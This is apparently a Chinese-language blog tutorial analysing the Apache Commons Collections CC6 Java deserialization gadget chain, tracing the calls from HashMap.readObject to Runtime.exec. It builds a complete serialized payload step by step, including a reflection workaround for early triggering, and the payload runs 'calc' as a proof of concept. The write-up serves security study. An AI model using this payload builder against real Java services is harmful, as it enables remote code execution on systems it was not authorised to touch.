Java反序列化利用鏈篇 | CC6鏈分析(通用版CC鏈)

leyilea發表於2024-09-23

CC6

CC6和CC1之間的區別

在CC1的LazyMap鏈中,呼叫鏈如下:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

而在CC1鏈中,對CommonsCollections和jdk版本是有限制的。

而CC6鏈不受版本影響,更具通用性。

其呼叫鏈為:

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同點在於,入口類不同,透過

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()

呼叫了LazyMapget()方法。

CC6的呼叫鏈

  • HashMap.readObject()方法呼叫了HashMap.hash()方法:

  • HashMap.hash()方法呼叫了key.hashCode()方法,如果要使呼叫的是TiedMapEntry.hashCode()方法,需要使key引數為TiedMapEntry物件:

  • TiedMapEntry.hashCode()方法呼叫了TiedMapEntry.getValue()方法:

  • TiedMapEntry.getValue()方法呼叫了map.get()方法,如果要使被呼叫的是LazyMap.get()方法,需要使map屬性為LazyMap物件:

構造CC6的payload

CC6和CC1-2的呼叫鏈後半段一致

// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);

完成TiedMapEntry.getValue()

TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件

TiedMapEntry的構造方法為public,所以可以直接例項化

程式碼如下:

這裡有一個點需要注意(小坑):TiedMapEntry()構造方法的第二個引數用不到,所以隨意傳入進行,但是重要的是它接受一個Object物件,而這個物件的類需要實現Serializable介面,如果不是,則後續的序列化不能成功。
所以,這裡不能傳入new Object(),但可以傳入new String(),因為Object類沒有實現Serializable介面。

// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());

其中的getValue()也為public修飾,所以可以直接呼叫用來測試

tiedMapEntry.getValue();

執行,成功執行惡意程式碼:

完成TiedMapEntry.hashCode()

接下來,看誰呼叫了tiedMapEntry的getValue(),前面已經說過,TiedMapEntryhashCode()方法中有呼叫,因此:

tiedMapEntry.hashCode();

這裡直接測試,此時程式碼如下(只是將getValue方法替換成了hashCode方法):

完成HashMap.hash()HashMap.readObject()

接下來就是HashMap中的hash()方法呼叫hashCode()方法,其中傳入的key需要是tiedMapEntry

hash()方法沒有被public修飾,不能直接呼叫,因此需要利用readObject()方法,因為在readObject()方法中存在hash()方法的呼叫。

readObject()方法在反序列化的時候會被呼叫,因此我們只需要建立一個HashMap物件,然後序列化即可。注意key需要保證是tiedMapEntry

程式碼如下:

  HashMap hashMap = new HashMap();
  hashMap.put(tiedMapEntry,null);  // 將tiedMapEntry當做key存入hashMap

此時的payload的程式碼如下:

// CC6和CC1-2的呼叫鏈後半段一致
// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null);  // 將tiedMapEntry當做key存入hashMap

SerAndUnser.serialize(hashMap);
//        SerAndUnser.unserialize("ser.bin");

看似完美,但是執行會發現,即使不進行序列,也會彈計算器?

這是為什麼呢?

如果我們進入hashMap的put()方法會發現,put()方法中已經觸發了hash()方法,

接下來,解決一下這個問題

解決hash()方法提前觸發的問題

這裡其實跟URLDNS鏈中的情況差不多~

我們的解決思路是:

  • 1)tiedMapEntry物件在put方式放入hashMap物件時,使tiedMapEntry物件中的內容不完整,進而不讓最終的程式碼觸發。
  • 2)put完成之後,透過反射再將tiedMapEntry物件中的內容修改完整。

那如何讓tiedMapEntry物件中的內容不完整呢?這裡需要看一下tiedMapEntry物件中有什麼:

可以看到tiedMapEntry物件中有lazyMap、chainedTransformer、transformerArray。

其中tiedMapEntry物件的map屬性存放的就是lazyMap,我們將map屬性設定為空的map物件(除上面建立的lazyMap都行),則最終就不會觸發到惡意程式碼 (當然其他的也行:只要保證整個鏈子到不了惡意程式碼就行)。

第1步先獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)

Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);

第2步將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)

mapField.set(tiedMapEntry,new HashMap());

第3步,完成put操作後,再將其設定為lazyMap物件

mapField.set(tiedMapEntry,lazyMap);

因此最終的payload為:

// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解決hash提前觸發問題
// 1)獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)執行之前的put操作,此時tiedMapEntry物件是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 將tiedMapEntry當做key存入hashMap
// 4)完成put操作後,再將其設定為lazyMap物件
mapField.set(tiedMapEntry,lazyMap);

SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

相關文章